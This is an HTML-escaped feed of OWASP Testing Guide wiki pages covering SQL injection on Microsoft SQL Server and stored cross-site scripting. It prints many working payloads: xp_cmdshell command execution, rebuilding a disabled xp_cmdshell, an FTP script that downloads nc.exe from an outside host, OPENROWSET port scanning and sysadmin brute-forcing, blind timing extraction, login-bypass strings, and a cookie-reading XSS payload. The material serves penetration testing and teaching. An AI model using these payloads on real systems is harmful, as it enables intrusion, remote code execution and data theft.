* Application parameters in query strings (e.g., GET requests)&lt;br /&gt;
* Application parameters included as part of the body of a POST request&lt;br /&gt;
* Browser-related information (e.g., user-agent, referrer)&lt;br /&gt;
* Host-related information (e.g., host name, IP)&lt;br /&gt;
* Session-related information (e.g., user ID, cookies) &lt;br /&gt;
&lt;br /&gt;
Microsoft SQL server has a few unique characteristics, so some exploits need to be specially customized for this application.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
===SQL Server Characteristics===&lt;br /&gt;
&lt;br /&gt;
To begin, let's see some SQL Server operators and commands/stored procedures that are useful in a SQL Injection test:&lt;br /&gt;
&lt;br /&gt;
* comment operator: -- (useful for forcing the query to ignore the remaining portion of the original query; this won't be necessary in every case)&lt;br /&gt;
* query separator: ; (semicolon)&lt;br /&gt;
* Useful stored procedures include:&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms175046.aspx xp_cmdshell]] executes any command shell in the server with the same permissions that it is currently running. By default, only '''sysadmin''' is allowed to use it and in SQL Server 2005 it is disabled by default (it can be enabled again using sp_configure)&lt;br /&gt;
** '''xp_regread''' reads an arbitrary value from the Registry (undocumented extended procedure)&lt;br /&gt;
** '''xp_regwrite''' writes an arbitrary value into the Registry (undocumented extended procedure)&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms180099.aspx sp_makewebtask]] Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires '''sysadmin''' privileges.&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-US/library/ms189505.aspx xp_sendmail]] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Let's see now some examples of specific SQL Server attacks that use the aforementioned functions. Most of these examples will use the '''exec''' function.&lt;br /&gt;
&lt;br /&gt;
Below we show how to execute a shell command that writes the output of the command ''dir c:\inetpub'' in a browseable file, assuming that the web server and the DB server reside on the same host. The following syntax uses xp_cmdshell:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 exec master.dbo.xp_cmdshell 'dir c:\inetpub &amp;gt; c:\inetpub\wwwroot\test.txt'--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, we can use sp_makewebtask:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
A successful execution will create a file that can be browsed by the pen tester. Keep in mind that sp_makewebtask is deprecated, and, even if it works in all SQL Server versions up to 2005, it might be removed in the future.&lt;br /&gt;
&lt;br /&gt;
In addition, SQL Server built-in functions and environment variables are very handy. The following uses the function '''db_name()''' to trigger an error that will return the name of the database:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20db_name()) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notice the use of [[http://msdn.microsoft.com/library/en-us/tsqlref/ts_ca-co_2f3o.asp convert]]:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CONVERT ( data_type [ ( length ) ] , expression [ , style ] )&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
CONVERT will try to convert the result of db_name (a string) into an integer variable, triggering an error, which, if displayed by the vulnerable application, will contain the name of the DB.&lt;br /&gt;
&lt;br /&gt;
The following example uses the environment variable '''@@version ''', combined with a &amp;quot;union select&amp;quot;-style injection, in order to find the version of the SQL Server.&lt;br /&gt;
&amp;lt;pre&amp;gt;/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
And here's the same attack, but using again the conversion trick:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 /controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of an SQL-injection attack or direct access to the SQL listener. &lt;br /&gt;
&lt;br /&gt;
In the following, we show several examples that exploit SQL injection vulnerabilities through different entry points.&lt;br /&gt;
&lt;br /&gt;
===Example 1: Testing for SQL Injection in a GET request. ===&lt;br /&gt;
&lt;br /&gt;
The most simple (and sometimes most rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string &amp;quot;' or '1'='1&amp;quot; (without double quotes): &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&amp;amp;Password='%20or%20'1'='1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application.&lt;br /&gt;
&lt;br /&gt;
===Example 2: Testing for SQL Injection in a GET request===&lt;br /&gt;
&lt;br /&gt;
In order to learn how many columns exist &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 3: Testing in a POST request ===&lt;br /&gt;
&lt;br /&gt;
SQL Injection, HTTP POST Content: email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
A complete post example:&lt;br /&gt;
&lt;br /&gt;
 POST &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/forgotpass.asp HTTP/1.1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Host: vulnerable.web.app&lt;br /&gt;
 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13&lt;br /&gt;
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
 Accept-Language: en-us,en;q=0.5&lt;br /&gt;
 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
 Keep-Alive: 300&lt;br /&gt;
 Proxy-Connection: keep-alive&lt;br /&gt;
 Referer: &amp;lt;nowiki&amp;gt;http://vulnerable.web.app/forgotpass.asp&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
 Content-Length: 50&amp;lt;br&amp;gt;&lt;br /&gt;
 email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
The error message obtained when a ' (single quote) character is entered at the email field is:&lt;br /&gt;
&lt;br /&gt;
 Microsoft OLE DB Provider for SQL Server error '80040e14'&lt;br /&gt;
 Unclosed quotation mark before the character string '' '.&lt;br /&gt;
 /forgotpass.asp, line 15 &lt;br /&gt;
&lt;br /&gt;
===Example 4: Yet another (useful) GET example===&lt;br /&gt;
&lt;br /&gt;
Obtaining the application's source code&lt;br /&gt;
&lt;br /&gt;
 a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--&lt;br /&gt;
&lt;br /&gt;
===Example 5: custom xp_cmdshell===&lt;br /&gt;
&lt;br /&gt;
All books and papers describing the security best practices for SQL Server recommend disabling xp_cmdshell in SQL Server 2000 (in SQL Server 2005 it is disabled by default). However, if we have sysadmin rights (natively or by bruteforcing the sysadmin password, see below), we can often bypass this limitation.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
On SQL Server 2000:&lt;br /&gt;
* If xp_cmdshell has been disabled with sp_dropextendedproc, we can simply inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sp_addextendedproc 'xp_cmdshell','xp_log70.dll'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* If the previous code does not work, it means that the xp_log70.dll has been moved or deleted. In this case we need to inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS&lt;br /&gt;
  DECLARE @result int, @OLEResult int, @RunResult int&lt;br /&gt;
  DECLARE @ShellID int&lt;br /&gt;
  EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 SELECT @result = @OLEResult&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)&lt;br /&gt;
  EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 SELECT @result = @OLEResult&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)&lt;br /&gt;
  EXECUTE @OLEResult = sp_OADestroy @ShellID&lt;br /&gt;
  return @result&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This code, written by Antonin Foller (see links at the bottom of the page), creates a new xp_cmdshell using sp_oacreate, sp_oamethod and sp_oadestroy (as long as they haven't been disabled too, of course). Before using it, we need to delete the first xp_cmdshell we created (even if it was not working), otherwise the two declarations will collide.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
On SQL Server 2005, xp_cmdshell can be enabled by injecting the following code instead:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
master..sp_configure 'show advanced options',1&lt;br /&gt;
reconfigure&lt;br /&gt;
master..sp_configure 'xp_cmdshell',1&lt;br /&gt;
reconfigure&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 6: Referer / User-Agent===&lt;br /&gt;
&lt;br /&gt;
The REFERER header set to:&lt;br /&gt;
&lt;br /&gt;
 Referer: &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:&lt;br /&gt;
&lt;br /&gt;
 User-Agent: user_agent', 'some_ip'); [SQL CODE]--&lt;br /&gt;
&lt;br /&gt;
===Example 7: SQL Server as a port scanner===&lt;br /&gt;
&lt;br /&gt;
In SQL Server, one of the most useful (at least for the penetration tester) commands is OPENROWSET, which is used to run a query on another DB Server and retrieve the results. The penetration tester can use this command to scan ports of other machines in the target network, injecting the following query:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will attempt a connection to the address x.y.w.z on port p. If the port is closed, the following message will be returned:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SQL Server does not exist or access denied&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On the other hand, if the port is open, one of the following errors will be returned:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
General network error. Check your network documentation&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Of course, the error message is not always available. If that is the case, we can use the response time to understand what is going on: with a closed port, the timeout (5 seconds in this example) will be consumed, whereas an open port will return the result right away. &lt;br /&gt;
&lt;br /&gt;
Keep in mind that OPENROWSET is enabled by default in SQL Server 2000 but disabled in SQL Server 2005.&lt;br /&gt;
&lt;br /&gt;
===Example 8: Upload of executables===&lt;br /&gt;
&lt;br /&gt;
Once we can use xp_cmdshell (either the native one or a custom one), we can easily upload executables on the target DB Server. A very common choice is netcat.exe, but any trojan will be useful here.&lt;br /&gt;
If the target is allowed to start FTP connections to the tester's machine, all that is needed is to inject the following queries:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
exec master..xp_cmdshell 'echo open ftp.tester.org &amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo USER &amp;gt;&amp;gt; ftpscript.txt';-- &lt;br /&gt;
exec master..xp_cmdshell 'echo PASS &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo bin &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo get nc.exe &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo quit &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
At this point, nc.exe will be uploaded and available.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
If FTP is not allowed by the firewall, we have a workaround that exploits the Windows debugger, debug.exe, that is installed by default in all Windows machines. Debug.exe is scriptable and is able to create an executable by executing an appropriate script file. What we need to do is to convert the executable into a debug script (which is a 100% ASCII file), upload it line by line and finally call debug.exe on it. There are several tools that create such debug files (e.g.: makescr.exe by Ollie Whitehouse and dbgtool.exe by toolcrypt.org). The queries to inject will therefore be the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #1 of n] &amp;gt; debugscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #2 of n] &amp;gt;&amp;gt; debugscript.txt';--&lt;br /&gt;
....&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #n of n] &amp;gt;&amp;gt; debugscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'debug.exe &amp;lt; debugscript.txt';--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
At this point, our executable is available on the target machine, ready to be executed.&lt;br /&gt;
&lt;br /&gt;
There are tools that automate this process, most notably Bobcat, which runs on Windows, and Sqlninja, which runs on Unix (See the tools at the bottom of this page).&lt;br /&gt;
&lt;br /&gt;
===Obtain information when it is not displayed (Out of band)===&lt;br /&gt;
&lt;br /&gt;
Not all is lost when the web application does not return any information --such as descriptive error messages (cf. [[Blind SQL Injection]]). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested. &lt;br /&gt;
&lt;br /&gt;
Other options for out of band attacks are described in Sample 4 above.&lt;br /&gt;
&lt;br /&gt;
===Blind SQL injection attacks===&lt;br /&gt;
&lt;br /&gt;
====Trial and error====&lt;br /&gt;
Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors ([[OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors|1]]) against this channel and watch the response. For example, if the web application is looking for a book using a query&lt;br /&gt;
&lt;br /&gt;
   select * from books where title='''text entered by the user'''&lt;br /&gt;
&lt;br /&gt;
then the penetration tester might enter the text: ''''Bomba' OR 1=1-''' and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL injection vulnerability. The penetration tester might later ''play'' with the queries in order to assess the criticality of this vulnerability.&lt;br /&gt;
&lt;br /&gt;
====If more than one error message is displayed====&lt;br /&gt;
On the other hand, if no prior information is available, there is still a possibility of attacking by exploiting any ''covert channel''. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example: &lt;br /&gt;
&lt;br /&gt;
* In some cases the web application (actually the web server) might return the traditional ''500: Internal Server Error'', say when the application returns an exception that might be generated, for instance, by a query with unclosed quotes. &lt;br /&gt;
* While in other cases the server will return a 200 OK message, but the web application will return some error message inserted by the developers ''Internal server error'' or ''bad data''. &lt;br /&gt;
&lt;br /&gt;
This one bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit.&lt;br /&gt;
&lt;br /&gt;
Another out-of-band method is to output the results through HTTP browseable files.&lt;br /&gt;
&lt;br /&gt;
====Timing attacks====&lt;br /&gt;
There is one more possibility for making a blind SQL injection attack when there is not visible feedback from the application: by measuring the time that the web application takes to answer a request. An attack of this sort is described by Anley in ([2]) from where we take the next examples. A typical approach uses the ''waitfor delay'' command: let's say that the attacker wants to check if the 'pubs' sample database exists, he will simply inject the following command:&lt;br /&gt;
&lt;br /&gt;
 if exists (select * from pubs..pub_info) waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
Depending on the time that the query takes to return, we will know the answer. In fact, what we have here is two things: a '''SQL injection vulnerability''' and a '''covert channel''' that allows the penetration tester to get 1 bit of information for each query. Hence, using several queries (as many queries as bits in the required information) the pen tester can get any data that is in the database. Look at the following query&lt;br /&gt;
&lt;br /&gt;
 declare @s varchar(8000)&lt;br /&gt;
 declare @i int&lt;br /&gt;
 select @s = db_name()&lt;br /&gt;
 select @i = [some value]&lt;br /&gt;
 if (select len(@s)) &amp;lt; @i waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
Measuring the response time and using different values for @i, we can deduce the length of the name of the current database, and then start to extract the name itself with the following query:&lt;br /&gt;
&lt;br /&gt;
 if (ascii(substring(@s, @byte, 1)) &amp;amp; ( power(2, @bit))) &amp;gt; 0 waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
This query will wait for 5 seconds if bit '@bit' of byte '@byte' of the name of the current database is 1, and will return at once if it is 0. Nesting two cycles (one for @byte and one for @bit) we will we able to extract the whole piece of information.&lt;br /&gt;
&lt;br /&gt;
However, it might happen that the command ''waitfor'' is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL injection attacks cannot be done, as the pen tester should only come up with any time consuming operation that is not filtered. For example&lt;br /&gt;
&lt;br /&gt;
 declare @i int select @i = 0&lt;br /&gt;
 while @i &amp;lt; 0xaffff begin&lt;br /&gt;
 select @i = @i + 1&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
====Checking for version and vulnerabilities====&lt;br /&gt;
The same timing approach can be used also to understand which version of SQL Server we are dealing with. Of course we will leverage the built-in @@version variable. Consider the following query:&lt;br /&gt;
&lt;br /&gt;
 select @@version&lt;br /&gt;
&lt;br /&gt;
On SQL Server 2005, it will return something like the following:&lt;br /&gt;
&lt;br /&gt;
 Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 &amp;lt;snip&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The '2005' part of the string spans from the 22nd to the 25th character. Therefore, one query to inject can be the following:&lt;br /&gt;
&lt;br /&gt;
 if substring((select @@version),25,1) = 5 waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
Such query will wait 5 seconds if the 25th character of the @@version variable is '5', showing us that we are dealing with a SQL Server 2005. If the query returns immediately, we are probably dealing with SQL Server 2000, and another similar query will help to clear all doubts.&lt;br /&gt;
&lt;br /&gt;
===Example 9: bruteforce of sysadmin password===&lt;br /&gt;
&lt;br /&gt;
To bruteforce the sysadmin password, we can leverage the fact that OPENROWSET needs proper credentials to successfully perform the connection and that such a connection can be also &amp;quot;looped&amp;quot; to the local DB Server.&lt;br /&gt;
Combining these features with an inferenced injection based on response timing, we can inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
select * from OPENROWSET('SQLOLEDB','';'sa';'&amp;lt;pwd&amp;gt;','select 1;waitfor delay ''0:0:5'' ')&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
What we do here is to attempt a connection to the local database (specified by the empty field after 'SQLOLEDB') using &amp;quot;sa&amp;quot; and &amp;quot;&amp;lt;pwd&amp;gt;&amp;quot; as credentials. If the password is correct and the connection is successful, the query is executed, making the DB wait for 5 seconds (and also returning a value, since OPENROWSET expects at least one column). Fetching the candidate passwords from a wordlist and measuring the time needed for each connection, we can attempt to guess the correct password. In &amp;quot;Data-mining with SQL Injection and Inference&amp;quot;, David Litchfield pushes this technique even further, by injecting a piece of code in order to bruteforce the sysadmin password using the CPU resources of the DB Server itself. &lt;br /&gt;
Once we have the sysadmin password, we have two choices:&lt;br /&gt;
&lt;br /&gt;
* Inject all following queries using OPENROWSET, in order to use sysadmin privileges&lt;br /&gt;
&lt;br /&gt;
* Add our current user to the sysadmin group using sp_addsrvrolemember. The current user name can be extracted using inferenced injection against the variable system_user.&lt;br /&gt;
&lt;br /&gt;
Remember that OPENROWSET is accessible to all users on SQL Server 2000 but it is restricted to administrative accounts on SQL Server 2005.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.nextgenss.com/research/papers/sqlinference.pdf&lt;br /&gt;
* Chris Anley, &amp;quot;(more) Advanced SQL Injection&amp;quot; - http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf&lt;br /&gt;
* Steve Friedl's Unixwiz.net Tech Tips: &amp;quot;SQL Injection Attacks by Example&amp;quot; - http://www.unixwiz.net/techtips/sql-injection.html&lt;br /&gt;
* Alexander Chigrik: &amp;quot;Useful undocumented extended stored procedures&amp;quot; - http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm&lt;br /&gt;
* Antonin Foller: &amp;quot;Custom xp_cmdshell, using shell object&amp;quot; - http://www.motobit.com/tips/detpg_cmdshell&lt;br /&gt;
* Paul Litwin: &amp;quot;Stop SQL Injection Attacks Before They Stop You&amp;quot; - http://msdn.microsoft.com/msdnmag/issues/04/09/SQLInjection/&lt;br /&gt;
* SQL Injection - http://msdn2.microsoft.com/en-us/library/ms161953.aspx&lt;br /&gt;
* Cesar Cerrudo: Manipulating Microsoft SQL Server Using SQL Injection - http://www.appsecinc.com/presentations/Manipulating_SQL_Server_Using_SQL_Injection.pdf uploading files, getting into internal network, port scanning, DOS&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Francois Larouche: Multiple DBMS SQL Injection tool - [[http://www.sqlpowerinjector.com/index.htm SQL Power Injector]]&lt;br /&gt;
* Northern Monkee: [[http://www.northern-monkee.co.uk/projects/bobcat/bobcat.html Bobcat]]&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [[http://sqlninja.sourceforge.net sqlninja]]&lt;br /&gt;
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.sourceforge.net&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)&amp;diff=128758</id>
		<title>Testing for Stored Cross site scripting (OTG-INPVAL-002)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)&amp;diff=128758"/>
				<updated>2012-04-29T15:28:08Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
Stored Cross Site Scripting (XSS) is the most dangerous type of Cross Site Scripting. Web applications that allow users to store data are potentially exposed to this type of attack. This chapter illustrates examples of stored cross site scripting injection and related exploitation scenarios.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
Stored XSS occurs when a web application gathers input from a user which might be malicious, and then stores that input in a data store for later use. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the user’s browser under the privileges of the web application.&lt;br /&gt;
&lt;br /&gt;
This vulnerability can be used to conduct a number of browser-based attacks including:&lt;br /&gt;
&lt;br /&gt;
* Hijacking another user's browser&lt;br /&gt;
* Capturing sensitive information viewed by application users&lt;br /&gt;
* Pseudo defacement of the application&lt;br /&gt;
* Port scanning of internal hosts (&amp;quot;internal&amp;quot; in relation to the users of the web application)&lt;br /&gt;
* Directed delivery of browser-based exploits&lt;br /&gt;
* Other malicious activities&lt;br /&gt;
&lt;br /&gt;
Stored XSS does not need a malicious link to be exploited. A successful exploitation occurs when a user visits a page with a stored XSS. The following phases relate to a typical stored XSS attack scenario:&lt;br /&gt;
&lt;br /&gt;
* Attacker stores malicious code into the vulnerable page&lt;br /&gt;
* User authenticates in the application&lt;br /&gt;
* User visits vulnerable page&lt;br /&gt;
* Malicious code is executed by the user's browser&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;This type of attack can also be exploited with browser exploitation frameworks such as [http://www.bindshell.net/tools/beef BeEF], [http://xss-proxy.sourceforge.net/ XSS Proxy] and [http://www.gnucitizen.org/projects/backframe/ Backframe]. These frameworks allow for complex JavaScript exploit development.&lt;br /&gt;
&lt;br /&gt;
Stored XSS is particularly dangerous in application areas where users with high privileges have access. When the administrator visits the vulnerable page, the attack is automatically executed by their browser. This might expose sensitive information such as session authorization tokens.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Input Forms'''&lt;br /&gt;
&lt;br /&gt;
The first step is to identify all points where user input is stored into the back-end and then displayed by the application.  Typical examples of stored user input can be found in:&lt;br /&gt;
&lt;br /&gt;
* User/Profiles page: the application allows the user to edit/change profile details such as first name, last name, nickname, avatar, picture, address, etc.&lt;br /&gt;
* Shopping cart: the application allows the user to store items into the shopping cart which can then be reviewed later&lt;br /&gt;
* File Manager: application that allows upload of files&lt;br /&gt;
* Application settings/preferences: application that allows the user to set preferences&lt;br /&gt;
&lt;br /&gt;
'''Analyze HTML code'''&lt;br /&gt;
&lt;br /&gt;
Input stored by the application is normally used in HTML tags, but it can also be found as part of JavaScript content. At this stage, it is fundamental to understand if input is stored and how it is positioned in the context of the page.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: Email stored data in index2.php&lt;br /&gt;
&lt;br /&gt;
[[Image:Stored_input_example.jpg]]&lt;br /&gt;
&lt;br /&gt;
The HTML code of index2.php where the email value is located:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;input class=&amp;quot;inputbox&amp;quot; type=&amp;quot;text&amp;quot; name=&amp;quot;email&amp;quot; size=&amp;quot;40&amp;quot; value=&amp;quot;aaa@aa.com&amp;quot; /&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case, the pen-tester needs to find a way to inject code outside the &amp;lt;input&amp;gt; tag as below:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;input class=&amp;quot;inputbox&amp;quot; type=&amp;quot;text&amp;quot; name=&amp;quot;email&amp;quot; size=&amp;quot;40&amp;quot; value=&amp;quot;aaa@aa.com&amp;quot;&amp;gt; MALICIOUS CODE &amp;lt;!-- /&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Testing for Stored XSS'''&lt;br /&gt;
&lt;br /&gt;
This involves testing the input validation/filtering controls of the application. Basic injection examples in this case:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;aaa@aa.com&amp;amp;quot;&amp;amp;gt;&amp;amp;lt;script&amp;amp;gt;alert(document.cookie)&amp;amp;lt;/script&amp;amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;aaa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensure the input is submitted through the application. This normally involves disabling JavaScript if client-side security controls are implemented or modifying the HTTP request with a web proxy such as [[OWASP WebScarab Project|WebScarab]]. It is also important to test the same injection with both HTTP GET and POST requests. The above injection results in a popup window containing the cookie values.&lt;br /&gt;
&lt;br /&gt;
'''Result Expected''':&lt;br /&gt;
&lt;br /&gt;
[[Image:Stored_xss_example.jpg]]&lt;br /&gt;
&lt;br /&gt;
The HTML code following the injection:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;input class=&amp;quot;inputbox&amp;quot; type=&amp;quot;text&amp;quot; name=&amp;quot;email&amp;quot; size=&amp;quot;40&amp;quot; value=&amp;quot;aaa@aa.com&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
The input is stored and the XSS payload is executed by the browser when reloading the page.&amp;lt;br&amp;gt;&lt;br /&gt;
